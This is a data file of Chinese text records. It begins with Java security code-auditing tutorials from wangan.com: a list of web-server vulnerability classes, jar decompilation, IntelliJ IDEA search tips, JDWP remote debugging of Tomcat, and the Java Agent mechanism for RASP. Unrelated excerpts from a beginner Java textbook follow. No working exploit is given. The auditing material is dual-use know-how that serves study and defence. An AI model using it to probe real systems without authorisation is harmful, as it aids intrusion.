文件/目录解析漏洞，如：未知扩展名向左识别文件后缀、换行解析漏洞、空字符截断、编码绕过后缀、文件名解析逻辑漏洞等 任意文件上传(写入)漏洞，如： WebDAV PUT 任意文件读取，如： Tomcat AJP 后台管理问题，如：登陆爆破、默认口令、弱口令、部署war包 配置错误导致安全风险，如：目录遍历、信息泄露、CRLF注入、Nginx配置不当 参数解析，如：Http参数污染 拒绝服务攻击，如：由于各种机制导致的服务器响应慢导致的 DOS 、慢连接 本文章首发在 网安wangan.com 网站上。 代码审计基础 代码审计基础"},
    {"text": "Java类编译与反编译基础 Java类编译与反编译基础 原文： https://www.wangan.com/docs/156 简单的说Java源码就是未经编译的 .java 文件，我们可以很轻松的阅读其中的代码逻辑，而字节码 .class 文件则是 .java 文件经过编译之后产生的字节码文件，因为 .class 文件是编译后的二进制文件所以我们是无法直接阅读的，只能通过反编译工具将二进制文件转换成 java代码 或者 ASM代码 。 示例代码Test.java: /** * @author yz */ public class Test { public static void hello ( ) { System . out . println ( \"Hello~\" ) ; } public void world ( ) { System . out . println ( \"World!\" ) ; } public static void main ( String [ ] args ) { hello ( ) ; } } Test.java编译执行流程: Test.java 源码、字节码 由于class文件的可读性较差，通常我们需要使用Java反编译工具来反编译代码。我们通常会使用到 JD-GUI 、 IDEA Fernflower插件 、 Bytecode-Viewer 、 Fernflower 、 JAD 、 JBE 、 JEB 等工具来反编译class。 其中 JD-GUI 可能是目前反编译中使用的最多的工具了，但是个人觉得 JD-GUI 的反编译能力远不如经过 IDEA (IDEA应该是使用的改版后的 Fernflower )，因为 IDEA 默认支持对 jar 和 class 的反编译，所以我个人强烈推荐使用 IDEA 来反编译class代码。 当然，反编译工具很多时候也不是万能的， JD-GUI 经常遇到无法反编译或反编译过程中程序直接崩溃的情况，遇到这类情况我们通常可以使用 IDEA 反编译试试，如果 IDEA 也无法反编译可以使用 JBE 来加载 class文件 读取程序的字节码，如果 JBE 仍无法读取类信息还可以使用 JDK 自带的 javap命令 来读取 class类字节码 ，如果上诉所有的方法都无法反编译，那么恐怕是这个类本身就存在无法编译问题要么可能就是类文件被加密处理过。可能你会说java编译的class不是说不可以加密吗？没错，这里所说的加密其实是为了保护编译后的class代码不可反编译，通过实现 自定义ClassLoader 来 loadClass 加密后的类方式而已,这种加密方式曾在实战中也有遇到。 2. 反编译整个Jar技巧 通常我们在某些特殊的场景下拿到的只是jar文件，那么我们应该如何反编译整个jar包的class文件呢？ 2.1. Fernflower Fernflower可以很轻松的实现jar的完整反编译，执行如下命令即可： java -jar fernflower.jar jarToDecompile.jar decomp/ 其中 jarToDecompile.jar 是需要反编译的jar文件， decomp 是反编译后的 class文件 所存放的目录。需要注意的是 Fernflower 如遇无法反编译的情况可能会生成空的java文件！ 2.2. JD-GUI JD-GUI 是一个带GUI的反编译工具，在 JD-GUI 的菜单中点击 File –> Save All Sources 即可反编译jar。 2.3. IDEA IDEA默认就支持jar包反编译，同时还支持class文件名( ⇧⌘F )、类方法名称( ⇧⌘O )搜索。 2.4. Bytecode-Viewer FernFlower 提供了GUI版本 Bytecode-Viewer , Bytecode-Viewer 提供了直接反编译的 class 、 jar 、 zip 、 apk 、 dex 功能，直接拖拽jar就可以直接对整个jar进行反编译了。 2.5. Find命令 find 命令并不能支持Java反编译，但是 find 命令可以非常方便的搜索经过编译后的二进制文件中的内容,所以有的时候使用 find 命令通常是最简单实用的，直接解压jar包然后使用find命令搜索: find ./ -type f -name \"*.class\" |xargs grep XXXX 即可搞定。 2.6 使用Find命令和Fernflower实现批量反编译jar 当我们只有项目war包且源码经过打包后发布到 WEB-INF/lib 的情况下，我们不得不去找出待审计源码的具体jar文件并反编译。遇到这种情况我们可以巧妙的使用 find 命令来反编译所有目标的jar包。 这里以 jcms 的一个非常老版本为例, jcms 最终给客户部署的war包中源码并不是在 WEB-INF/classes 目录下，而是将整个 jcms 系统按模块打包成了多个jar包放在了 WEB-INF/lib 目录下。我们可以通过搜索 com.hanweb 包名称来找出所有jar中包含了 jcms 的文件并通过 Fernflower 来反编译。 java - jar / Users / yz / Desktop / javaweb - decomplier / javaweb - decomplier . jar - dgs = 1 $ ( find / Users / yz / Desktop / jcms / WEB - INF / lib / - type f - name \"*.jar\" | xargs grep \"com.hanweb\" | awk '{print $3}' ) / Users / yz / jcms - decomplier 执行上面的命令后会在 jcms-decomplier 目录下看到所有的jar已经被 Fernflower 反编译了。 依赖的jar: javaweb-decomplier 、 Intellij java-decompiler 。 3. IntelliJ IDEA 推荐 IntelliJ IDEA 是 Jetbrains 出品的一款非常强大的 Java IDE ，IDEA提供了强大的代码搜索、近乎完美的反编译、动态调试等功能可以最大程度的辅助我们代码审计。 不可以否认，与IDEA相比虽然Eclipse和Netbeans也有与之类似的功能，但是在真正的实战体验中个人更倾向于使用IDEA，虽然曾经的我也是一个重度Eclipse开发者。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "IntelliJ IDEA技巧 IntelliJ IDEA技巧 原文： https://www.wangan.com/docs/157 IDEA的搜索快捷键是: ⇧⌘F ,使用IDEA提供的搜索功能可以非常快速的定位漏洞点信息。 IDEA可以通过自定义搜索范围来精确查找我们需要审计的代码。默认搜索的是所有的位置，不过我们可以点击红色箭头指向的 ... 按钮来细化我们的搜索范围。 1. 自定义范围搜索 自定义搜索范围示例: 自定义搜索范围后就可以在搜索时使用自定义的配置进行范围搜索了，有助于我们在挖漏洞的时候缩小代码定位范围。 2. 标记搜索 搜索快捷键: ⌘O ，标记搜索支持 类名 、 方法名 搜索（ 包括class或jar文件 中的方法也支持搜索）。 3. Java调用链搜索 当我们审计代码的时候发现某个方法或类有漏洞时我们需要定位到漏洞的请求地址(触发点)，复杂业务系统往往会让我们很难定位到漏洞的触发点。借助IDEA的方法调用链搜索功能就可以很轻松的找出方法的调用链和触发点。 选择 类或者方法名 –> 右键 –> Find Useages 或者使用快捷键 ⌥F7 本文章首发在 网安wangan.com 网站上。"},
    {"text": "IDEA Java程序调试 IDEA Java程序调试 原文： https://www.wangan.com/docs/163 一、创建或打开一个Java项目 如果有需要调试的项目源码，可以直接打开一个存在的项目，如果没有项目源码只有class或者jar文件的话需要在IDEA中添加jar到依赖库。 二、调试模式参数配置 Java应用程序可以在运行时添加启动参数即可调试，需要注意的是不同的JDK版本的调试参数可能会不一样。 JDK5-8: - agentlib : jdwp = transport = dt_socket , server = y , suspend = y , address = 5005 JDK9+： - agentlib : jdwp = transport = dt_socket , server = y , suspend = y , address = * : 5005 suspend=n 表示的是启动Java应用时是否立即进入调试模式， suspend=y 表示启动即暂停， suspend=n 则表示启动时不需要暂停。 address=*:5005 表示的是 Debug 监听的服务地址和端口，根据需求修改，上述配置会监听到 0.0.0.0 。 三、在IDEA中启用远程调试 点击工具栏的 Add Configuration... ，点击左侧的 + 号，选择 Remote ，如下图： 配置远程Debug信息，填入远程服务的IP地址、端口信息，注意JDK版本， JDK8+ 使用的调试参数是不一样的，最后如果默认选择的 classpath 不对需要手动选择下 classpath 。 四、远程调试Java应用程序 以调试模式启动Java应用也很简单，只需要加上调试参数即可: java - agentlib : jdwp = transport = dt_socket , server = y , suspend = y , address = 5005 Test 这个时候程序会处于等待状态（光标会一致闪烁，等待远程连接）： 4.1 有源码调试 假设我们有需要调试的应用程序代码，我们可以直接在Java类上设置断点即可调试。 示例-Test.java： /** * Creator: yz * Date: 2020-05-19 */ public class Test { public static void main ( String [ ] args ) { System . out . println ( args ) ; } } 在待调试的程序点设置断点，并点击 IDEA Debug 配置： 这个时候就可以看到程序已经运行至断点的位置了： 4.2 无源码，只有jar或者class文件调试 如上示例，假设我们这个时候只有Test.class的class文件或者Test.class对应的 test.jar 文件，我们应该怎么调试呢？ 只有class的情况下我们进入源码所在的包，然后打包成jar文件即可： cd src jar - cvf test . jar * ls - la 命令执行结果: 已添加清单 正在添加 : Test . class ( 输入 = 342 ) ( 输出 = 187 ) ( 压缩了 45 % ) [ yz@yz : src ] $ ls - la total 16 drwxr - xr - x 4 yz staff 128 May 19 17 : 21 . drwxr - xr - x 5 yz staff 160 May 19 16 : 57 . . - rw - r -- r -- 1 yz staff 342 May 19 17 : 20 Test . class - rw - r -- r -- 1 yz staff 641 May 19 17 : 22 test . jar 这个时候统计目录就会生成一个 test.jar ，我们只需要把这个jar添加到 classpath 然后设置好断点就可以调试了。 添加 jar 到 IDEA 的 classpath ，可以直接选择jar目录或者jar文件然后右键 Add as Library ，也可以选择项目以外的目录或者jar文件。 示例-直接选择项目中的jar： 示例-选择项目以外的jar： 选择 jar 需要添加的 classpath 信息，通常不需要修改： 启动Test示例： java - agentlib : jdwp = transport = dt_socket , server = y , suspend = y , address = 5005 - cp test . jar Test 展开 test.jar 并在Test.class中设置断点，最后点击工具栏的调试按钮即可调试： 五、调试Tomcat示例 常见的中间件启动脚本中都内置了调试参数，如Tomcat的 bin/catalina.sh 就内置了调试参数： 但最简单直接的方式是直接在 Tomcat 的启动脚本 catalina.sh (Windows换成catalina.bat)中添加 Debug 参数即可： JAVA_OPTS = \"-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005\" 然后再使用 catalina.sh 启动Tomcat就会发现 Tomcat 会处于等待远程连接状态： 接下来就只需要导入 Tomcat 的jar并设置断点就可以调试了。 添加 Tomcat 的 lib 目录到 IDEA 的 classpath : 展开左侧 External Libraries -> lib -> 选择需要断点的类 -> 点击工具栏的Debug : 然后在 webapps/ROOT 目录下新建一个 test.jsp : < %= request . getParameter ( \"id\" ) % > 最后点击工具栏的Debug后控制台的 Tomcat 就会自动启动，知道触发断点为止，上图示例中我设置的断点是 org.apache.catalina.connector.RequestFacade#getParameter ，所以需要使用浏览器请求任意页面并传入参数(访问 http://localhost:8080/test.jsp?id=yzmm )即可进入断点： 其实调试Tomcat最简单的方式是直接启动一个Maven Web项目并使用 Tomcat 启动，然后在 pom.xml 中配置对应版本的 Tomcat 的依赖就可以直接Debug了，使用这种调试方法可以让您学会如何使用IDEA调试任意的Java程序，仅此而已。 本文章首发在 网安wangan.com 网站上。 RASP技术 RASP技术"},
    {"text": "Java Agent 机制 Java Agent 机制 原文： https://www.wangan.com/docs/164 JDK1.5开始引入了Agent机制(即启动java程序时添加 -javaagent 参数”,如 java -javaagent:/data/test.jar LingXeTest )， Java Agent 机制允许用户在JVM加载class文件的时候先加载自己编写的Agent文件，通过修改JVM传入的字节码来实现注入 RASP 防御逻辑。这种方式因为必须是在容器启动时添加jvm参数,所以需要重启Web容器。JDK1.6新增了 attach 方式( agentmain )，可以对运行中的java进程附加agent。使用附加的方式可以在容器运行时动态的注入 RASP 防御逻辑。 使用在应用启动时加入 -javaagent 参数的方式适用于 RASP 常驻用户应用的防御方式,也是我们目前最常用的安装集成方式。但是正因为必须在应用程序启动时加上我们自定义的 -javaagent 参数所以也就会不得不要求用户重启Web容器，一些生产环境的服务是不允许停止的，所以重启问题成了其重大阻碍。 为了解决应用重启问题，我使用了 attach 灵蜥Agent到Java进程的方式来实现防御，当然 attach 和 agent 方式并无太大的差异，只是实现方式会有细微的差别，麻烦的是 attach 需要考虑如何避免重复加载、如何完整的卸载等问题。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "《Java从入门到精通（第5版）》图书和Java开发资源库的配合学习流程如图1所示。 图1 图书与开发资源库配合学习流程图 打开“Java开发资源库”文件夹，运行Java开发资源库.exe程序，即可进入“Java开发资源库”系统，主界面如图2所示。 图2 Java开发资源库主界面 在学习某一章节时，可以配合实例资源库的相应章节，利用实例资源库提供的大量热点实例和关键实例巩固所学编程技能，提高编程兴趣和自信心；"},
    {"text": "图3 使用实例资源库和能力测试题库 对于数学逻辑能力和英语基础较为薄弱的读者，或者想了解个人数学逻辑思维能力和编程英语基础的用户，本书提供了数学及逻辑思维能力测试和编程英语能力测试，供读者练习和测试，如图4所示。 图4 数学及逻辑思维能力测试和编程英语能力测试目录 当本书学习完成时，可以配合模块资源库和项目资源库的30个模块和项目，全面提升个人综合编程技能和解决实际开发问题的能力，为成为Java软件开发工程师打下坚实基础。"},
    {"text": "面试资源库提供了大量国内外软件企业的常见面试真题，同时还提供了程序员职业规划、程序员面试技巧、企业面试真题汇编和虚拟面试系统等精彩内容，是程序员求职面试的绝佳指南。"},
    {"text": "图5 模块资源库和项目资源库目录 图6 面试资源库具体内容 前言 丛书说明：“软件开发视频大讲堂”丛书（第1版）于2008年8月出版，因其编写细腻，易学实用，配备海量学习资源和全程视频等，在软件开发类图书市场上产生了很大反响，绝大部分品种在全国软件开发零售图书排行榜中名列前茅，2009年多个品种被评为“全国优秀畅销书”。"},
    {"text": "“软件开发视频大讲堂”丛书（第5版）在继承前4版所有优点的基础上，将开发环境和工具全部更新为最新的JDK10和Eclipse最新版本，并且全部重新录制了视频，结合目前市场需要，进一步对丛书品种进行了完善，对相关内容进行了更新优化，使之更适合读者学习，为了方便教学，还提供了教学课件PPT。"},
    {"text": "Java是Sun公司推出的能够跨越多平台的、可移植性最高的一种面向对象的编程语言。 自面世以来，Java凭借其易学易用、功能强大的特点得到了广泛的应用。 其强大的跨平台特性使Java程序可以运行在大部分系统平台上，甚至可在手持电话、商务助理等移动电子产品上运行，真正做到“一次编写，到处运行”。 Java可用于编写桌面应用程序、Web应用程序、分布式系统和嵌入式系统应用程序等，这使得它成为应用范围最广泛的开发语言。 随着Java技术的不断更新，在全球云计算和移动互联网的产业环境下，Java的显著优势和广阔前景将进一步呈现出来。"},
    {"text": "本篇通过初识Java、熟悉Eclipse开发工具、Java语言基础、流程控制、字符串、数组、类和对象、包装类、数字处理类等内容的介绍，并结合大量的图示、实例、视频等，使读者快速掌握Java语言，为以后编程奠定坚实的基础。"},
    {"text": "本篇介绍了接口、继承与多态，类的高级特性，异常处理，Swing程序设计，集合类，I/O（输入／输出），反射，枚举类型与泛型，多线程，网络通信和数据库操作等内容。"},
    {"text": "书中按照“编写项目计划书→系统设计→数据库设计→创建项目→实现项目→运行项目→项目打包部署→解决开发常见问题”的流程进行介绍，带领读者一步步亲身体验开发项目的全过程。"},
    {"text": "讲解过程中步骤详尽，版式新颖，在操作的内容图片上以 ①②③ ……的编号+内容的方式进行标注，使读者在阅读时一目了然，从而快速掌握书中内容。"},
    {"text": "为便于读者直观感受程序开发的全过程，书中大部分章节都配备了教学微视频，使用手机扫描正文小节标题一侧的二维码，即可观看学习，能快速引导初学者入门，感受编程的快乐和成就感，进一步增强学习的信心。"},
    {"text": "通过例子学习是最好的学习方式，本书通过“一个知识点、一个例子、一个结果、一段评析、一个综合应用”的模式，透彻详尽地讲述了实际开发中所需的各类知识。"},
    {"text": "本书根据需要在各章安排了很多“注意”“说明”“技巧”等小栏目，让读者可以在学习过程中更轻松地理解相关知识点及概念，更快地掌握个别技术的应用技巧。"},
    {"text": "读者对象 初学编程的自学者 编程爱好者 大中专院校的老师和学生 相关培训机构的老师和学员 做毕业设计的学生 初、中级程序开发人员 程序测试及维护人员 参加实习的“菜鸟”程序员 读者服务 学习本书时，请先扫描封底的权限二维码（需要刮开涂层）获取学习权限，然后即可免费学习书中的所有线上线下资源。"},
    {"text": "本书所附赠的各类学习资源，读者可登录清华大学出版社网站（www.tup.com.cn），在对应图书页面下获取其下载方式。 也可扫描图书封底的“文泉云盘”二维码，获取其下载方式。"},
    {"text": "为了方便解决本书疑难问题，读者朋友可加我们的企业QQ：4006751066（可容纳10万人），也可以登录www.mingrisoft.com留言，我们将竭诚为您服务。"},
    {"text": "致读者 本书由明日科技Java程序开发团队组织编写，主要人员有申小琦、王小科、王国辉、赵宁、李磊、贾景波、赛奎春、张鑫、杨丽、高春艳、辛洪郁、周佳星、李菁菁、冯春龙、白宏健、何平、张宝华、张云凯、庞凤、吕玉翠、申野、宋万勇等。"},
    {"text": "第1章 初识Java Java是一种跨平台的、面向对象的程序设计语言。 本章将简单介绍Java语言的不同版本、相关特性以及学好Java语言的方法等，主要目的是让读者对Java语言有一个整体的了解，然后再慢慢地学习具体内容，最后达到完全掌握Java语言的目的。 通过阅读本章，您可以： 了解Java的版本 了解Java的应用领域 了解如何学好Java 了解Java语言的特性 掌握不同平台下的JDK环境搭建 1.1 Java简介 Java是一门高级的面向对象的程序设计语言。"},
    {"text": "使用Java语言编写的程序是跨平台的，从PC机到手持电话，到处都运行着Java开发的程序和游戏。 Java程序可以在任何计算机、操作系统以及支持Java的硬件设备上运行。"},
    {"text": "1.1.1 什么是Java语言 Java是1995年由Sun公司推出的一门极富创造力的面向对象的程序设计语言，它是由有“Java之父”之称的Sun研究院院士詹姆斯·戈士林博士亲手设计而成的，正是他完成了Java技术的原始编译器和虚拟机。"},
    {"text": "Java是一种通过解释方式来执行的语言，其语法规则和C++类似。 同时，Java也是一种跨平台的程序设计语言。 用Java语言编写的程序，可以运行在任何平台和设备上，如跨越IBM个人电脑、MAC苹果计算机、各种微处理器硬件平台，以及Windows、UNIX、OS/2、MAC OS等系统平台，真正实现“一次编写，到处运行”。 Java非常适于企业网络和Internet环境，并且已成为Internet中最具有影响力、最受欢迎的编程语言之一。 与目前常用的C++相比，Java语言简洁得多，而且提高了可靠性，除去了最大的程序错误根源，此外它还有较高的安全性，可以说，它是有史以来最为卓越的编程语言。 Java语言编写的程序既是编译型的，又是解释型的。 程序代码经过编译之后转换为一种称为Java字节码的中间语言，Java虚拟机（JVM）将对字节码进行解释和运行。"},
    {"text": "Java语言程序代码的编译和运行过程如图1.1所示。 图1.1 Java程序的编译和运行过程 1.1.2 Java的应用领域 借助Java，程序开发人员可以自由地使用现有的硬件和软件系统平台。"},
    {"text": "Java无处不在，它已经拥有几百万个用户，其发展速度要快于在它之前的任何一种计算机语言。 Java能够给企业和最终用户带来数不尽的好处。 Oracle公司董事长和首席执行官Larru Ellison说过：“Java正在进入企业、家庭和学校。"},
    {"text": "我们经常使用的Java开发工具Eclipse、NetBeans、JBuilder等，另外还有RSSOwl、Limewire、Azureus、CyberDuck、OpenOffice等优秀软件，都是使用Java编写的。"},
    {"text": "1. Java SE Java SE是Java的标准版，主要用于桌面应用程序的开发，同时也是Java的基础，它包含Java语言基础、JDBC（Java数据库连接性）操作、I/O（输入／输出）、网络通信、多线程等技术。"},
    {"text": "2. Java EE Java EE是Java的企业版，主要用于开发企业级分布式的网络程序，如电子商务网站和ERP（企业资源规划）系统，其核心为EJB（企业Java组件模型）。"},
    {"text": "初学者需要注意的主要有以下几点： 明确自己的学习目标和大的方向，选择并锁定一门语言，然后按照自己的方向努力学习，认真研究。 初学者不用看太多的书，先找本相对基础的书系统地学习。"},
    {"text": "在刚接触一门语言，特别是Java语言时，掌握好基本语法并大概了解一些功能即可。 尽量借助开发工具（如Eclipse或NetBeans）的代码辅助功能完成代码的录入，这样可以快速进入学习状态。"},
    {"text": "多实践，多思考，多请教。 仅读懂书本中的内容和技术是不行的，必须动手编写程序代码，并运行程序、分析运行结构，从而对学习内容有个整体的认识和肯定。 学会用自己的方式思考问题，通过编写代码来提高编程思想。 平时多请教老师或同事，和其他人多沟通技术问题，提高自己的技术和见识。"},
    {"text": "遇到问题，首先尝试自己解决，这样可以提高自己的程序调试能力，并对常见问题有一定的了解，明白出错的原因，甚至能举一反三，解决其他关联的错误问题。"},
    {"text": "可以经常到Internet上搜索相关资料或解决问题的方法，网络上已经摘录了很多人遇到的问题和不同的解决方法，分析这些问题的解决方法，找出最适合自己的方法。"},
    {"text": "1.1.5 Java API文档 API的全称是Application Programming Interface，即应用程序编程接口，主要包括类的继承结构、成员变量、成员方法、构造方法、静态成员的描述信息和详细说明等内容。"},
    {"text": "读者朋友可以在https://docs.oracle.com/javase/10/docs/api/overview-summary.html中找到JDK 10的API文档，页面效果如图1.5所示。 图1.5 Java SE 10的API文档 说明 JDK 10的API文档暂无中文版本，读者朋友在查询和学习相应知识点时，可以借助网上流行的英译汉词典。"},
    {"text": "1.2 Java语言的特性 Java语言的作者们编写了具有广泛影响的Java白皮书，里面详细地介绍了他们的设计目标以及实现成果，还用简短的篇幅介绍了Java语言的特性。"},
    {"text": "1.2.1 简单 Java语言的语法简单明了，容易掌握，而且是纯面向对象的语言。 Java语言的简单性主要体现在以下几个方面： 语法规则和C++类似。 从某种意义上讲，Java语言是由C和C++语言转变而来的，所以C程序设计人员可以很容易地掌握Java语言的语法。 Java语言对C++进行了简化和提高。 例如，Java使用接口取代了多重继承，并取消了指针，因为指针和多重继承通常使程序变得复杂。"},
    {"text": "Java提供了丰富的类库、API文档以及第三方开发包，另外还有大量基于Java的开源项目。 JDK（Java开发者工具箱）已经开放源代码，读者可以通过分析项目的源代码，提高自己的编程水平。"},
    {"text": "1.2.2 面向对象 面向对象是Java语言的基础，也是Java语言的重要特性，它本身就是一种纯面向对象的程序设计语言。 Java提倡万物皆对象，语法中不能在类外面定义单独的数据和函数，也就是说，Java语言最外部的数据类型是对象，所有的元素都要通过类和对象来访问。"},
    {"text": "1.2.3 分布性 Java的分布性包括操作分布和数据分布，其中操作分布是指在多个不同的主机上布置相关操作，而数据分布是将数据分别存放在多个不同的主机上，这些主机是网络中的不同成员。"},
    {"text": "1.2.6 安全性 Java语言删除了类C语言中的指针和内存释放等语法，有效地避免了用户对内存的非法操作。 Java程序代码要经过代码校验、指针校验等很多测试步骤才能够运行，所以未经允许的Java程序不可能出现损害系统平台的行为，而且使用Java可以编写出防病毒和防修改的系统。"},
    {"text": "1.3 搭建Java环境 工欲善其事，必先利其器。 在学习Java语言之前，必须了解并搭建好它所需要的开发环境。 要编译和执行Java程序，JDK（Java Developers Kits）是必备的。 下面将具体介绍下载并安装JDK和配置环境变量的方法。"},
    {"text": "1.3.1 JDK下载 JDK 10发布于2018年3月20日，在撰写本书时，JDK的最新版本是Java SE 10.0.2。 JDK原是Sun公司的产品，如今Sun公司已经被Oracle公司收购，因此JDK 10需要在Oracle公司的官网上进行下载。 下面介绍下载JDK 10的方法，具体步骤如下： （1）打开IE浏览器，输入网址http://www.oracle.com/technetwork/java/javase/downloads/index.html，在JDK的下载页面中，单击如图1.6所示的DOWNLOAD按钮。 图1.6 JDK 10的下载页面 （2）在JDK的下载列表中，首先单击Accept License Agreement（接收许可协议）单选按钮，然后根据操作系统的位数选择适当的JDK版本，如图1.7所示。 Java SE 10.0.2仅为64位的Windows操作系统提供了下载链接，因此32位Windows操作系统的用户推荐使用JDK 8的最新版本。 图1.7 JDK的下载列表 说明 JDK版本更新得比较快，读者朋友们在下载JDK时，如果官网上没有Java SE 10.0.2版本，那么下载最新版本的JDK即可。 1.3.2 Windows系统的JDK环境 1. JDK安装 下载Windows平台的JDK安装文件jdk-10.0.2_windows-x64_bin.exe后，即可安装JDK 10。 在Windows 10下安装JDK 10的步骤如下： （1）双击已下载完毕的安装文件，将弹出如图1.8所示的欢迎对话框，单击“下一步”按钮。 （2）在如图1.9所示的“JDK定制安装”对话框中，建议读者朋友不要更改JDK的安装路径，其他设置也都选择默认设置，单击“下一步”按钮。 图1.8 欢迎对话框 图1.9 “JDK定制安装”对话框 （3）在如图1.10所示的“JRE定制安装”对话框中，单击“下一步”按钮，即可安装JRE。 （4）成功安装JDK和JRE后，将弹出如图1.11所示的“完成”对话框，单击“关闭”按钮。 图1.10 “JRE定制安装”对话框 图1.11 安装完成对话框 注意 在安装JDK时，不要同时运行其他的安装程序，以免出现错误。"},
    {"text": "2. 在Windows 10系统中配置环境变量 安装JDK后，必须配置环境变量才能使用Java开发环境。 在Windows 10下，只需配置环境变量Path（可使系统在任何路径下都能识别Java命令）即可。 在Windows 10下配置环境变量的步骤如下： （1）在“计算机”图标上右击，在弹出的快捷菜单中选择“属性”命令，在弹出的“属性”对话框左侧单击“高级系统设置”超链接，将打开如图1.12所示的“系统属性”对话框。 （2）单击“环境变量”按钮，将弹出如图1.13所示的“环境变量”对话框，在“系统变量”栏中找到并双击Path变量。 图1.12 “系统属性”对话框 图1.13 “环境变量”对话框 （3）在如图1.14所示的“编辑环境变量”对话框中，单击“编辑文本(T)…”按钮，对Path变量的值进行修改。"},
    {"text": "先删除原变量值最前面的“C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath;”后，再输入“C:\\Program Files\\Java\\jdk-10.0.2\\bin;”（即已安装的JDK的bin文件夹目录），修改后的效果如图1.15所示。"},
    {"text": "图1.14 “编辑环境变量”对话框 图1.15 设置Path变量的值 注意 “;”为英文格式下的分号，用于分割不同的变量值，因此每个变量值后的“;”不能丢掉。"},
    {"text": "在Windows 10下测试JDK环境需要先单击桌面左下角的 图标（在Windows 7系统下单击 图标），在下方搜索框中输入“cmd”，如图1.16所示，然后按Enter键启动命令提示符对话框。 在命令提示符对话框中输入“javac”，按Enter键，将显示如图1.17所示的JDK编译器信息，其中包括修改命令的语法和参数选项等内容，这说明JDK环境已搭建成功。 图1.16 输入“cmd”后的效果图 图1.17 JDK的编译器信息 1.4 小结 本章简单介绍了Java语言及其相关特性，另外还介绍了在Windows系统平台中搭建Java环境的方法。"},
    {"text": "第2章 熟悉Eclipse开发工具 学习Java语言前，首先来介绍一款功能强大、使用简单、能够辅助程序设计的IDE（集成开发工具）。 Eclipse是目前最流行的Java语言开发工具之一，它具有强大的代码辅助功能，可以帮助程序开发人员自动完成语法修正、补全文字、代码修正、API提示等编码工作，从而节省大量的时间和精力。 本章将简要介绍Eclipse开发工具，使读者能够初步了解Eclipse并使用它完成程序设计工作。 通过阅读本章，您可以： 熟练安装Eclipse的国际化语言包 熟悉Eclipse中经常使用的菜单和工具栏 使用Eclipse编写程序代码 掌握Eclipse中调试器的使用 2.1 熟悉Eclipse 虽然使用记事本和JDK编译工具也可以编写Java程序，但是在项目开发过程中必须使用大型的集成开发工具（IDE）来编写Java程序。"},
    {"text": "本节将介绍Eclipse开发工具，包括它的安装、配置与启动、菜单栏、工具栏以及各种视图的作用等。 2.1.1 Eclipse简介 Eclipse是由IBM公司投资4000万美元开发的集成开发工具。"},
    {"text": "Eclipse为编程人员提供了一流的Java程序开发环境，它的平台体系结构是在插件概念的基础上构建的，插件是Eclipse平台最具特色的特征之一，也是其区别于其他开发工具的特征之一。"},
    {"text": "2.1.2 下载Eclipse 本节将介绍如何在Eclipse的官方网站下载本书所使用的Eclipse开发环境。 其下载步骤如下： （1）打开浏览器，在地址栏中输入http://www.eclipse.org/downloads/后，按Enter键访问Eclipse的官网首页，然后单击如图2.1所示的Download Packages超链接。 图2.1 Eclipse网站首页 （2）进入Eclipse IDE Downloads页面，在Eclipse IDE for Java Developers下载列表中，单击右侧的Windows 64-bit（或32-bit）超链接，如图2.2所示。 （3）Eclipse服务器会根据客户端所在的地理位置，分配合理的下载镜像站点，如图2.3所示。"},
    {"text": "建议使用默认镜像地址，这里直接单击页面中的Download按钮即可。 （4）单击Download按钮之后，若5秒后仍未开始下载任务，可单击如图2.4所示中的click here超链接，重新开启下载任务。"},
    {"text": "图2.2 Eclipse下载页面 图2.3 Eclipse下载镜像页面 图2.4 重新开始下载任务 2.1.3 安装Eclipse的中文语言包 从网站中下载的Eclipse安装文件是一个压缩包，将其解压缩到指定的文件夹，然后运行文件夹中的Eclipse.exe文件，即可启动Eclipse开发工具。"},
    {"text": "Eclipse的国际语言包可以到http://www.eclipse.org/babel下载，具体的下载和使用步骤如下： （1）在浏览器的地址栏中输入http://www.eclipse.org/babel/downloads.php，在下载页面的Babel Language Packs Zips选项下选择对应Eclipse版本的超链接下载语言包。"},
    {"text": "图2.5 Babel项目组首页 注意 下载Eclipse多国语言包时，要注意语言包所匹配的Eclipse版本，虽然语言包版本上下兼容，但建议下载与Eclipse同版本的语言包。 （2）在弹出的下载列表页面中，在Language: Chinese(Simplified)列表下选择并单击如图2.6所示的BabelLanguagePack-eclipse-zh_X.X.X超链接。 X.X.X为汉化包的版本号，因为官方会频繁更新汉化包，但文件的前缀不会改变，所以读者只要下载前缀为“BabelLanguagePack-eclipse-zh_”的zip文件即可。 图2.6 中文语言包下载链接 （3）单击超链接后，Eclipse服务器会根据客户端所在的地理位置，分配合理的下载镜像站点，如图2.7所示。"},
    {"text": "图2.7 语言包下载镜像页面 （4）将下载完成的汉化包解压缩，解压后生成的eclipse文件夹下有两个子文件夹：features文件夹和plugins文件夹。 将这两个子文件夹覆盖到Eclipse程序的根目录下，如图2.8所示。 重启Eclipse之后就可以看到汉化效果。 图2.8 汉化包文件夹覆盖的位置 2.1.4 Eclipse的配置与启动 配置好Eclipse的多国语言包后，可以启动Eclipse了。 在Eclipse的安装文件夹中运行eclipse.exe文件，即开始启动Eclipse，将弹出“Eclipse启动程序”对话框，该对话框用于设置Eclipse的工作空间（用于保存Eclipse建立的程序项目和相关设置）。 本书的开发环境统一设置工作空间为Eclipse安装位置的workspace文件夹，在“Eclipse启动程序”对话框的“工作空间”文本框中输入“.\\eclipse-workspace”，单击“启动”按钮，即可启动Eclipse，如图2.9所示。 图2.9 设置工作空间 注意 每次启动Eclipse时都会出现设置工作空间的对话框，通过选中“将此值用作缺省值并且不再询问”复选框可以设置默认工作空间，这样Eclipse启动时就不会再询问工作空间的设置了。 技巧 启动Eclipse时选中“将此值用作缺省值并且不再询问”复选框，设置不再询问工作空间设置后，可以通过以下方法恢复提示。 首先选择“窗口”/“首选项”命令，打开“首选项”对话框，然后在左侧选择“常规”/“启动和关闭”/“工作空间”节点，并且选中右侧的“启动时提示工作空间”复选框，单击“应用”按钮，再单击“确定”按钮即可。"},
    {"text": "图2.10 Eclipse的“欢迎”界面 2.1.5 Eclipse工作台 在Eclipse的“欢迎”界面中，单击“工作台”（Workbench）按钮或关闭欢迎界面，将显示Eclipse的工作台，它是程序开发人员开发程序的主要场所。"},
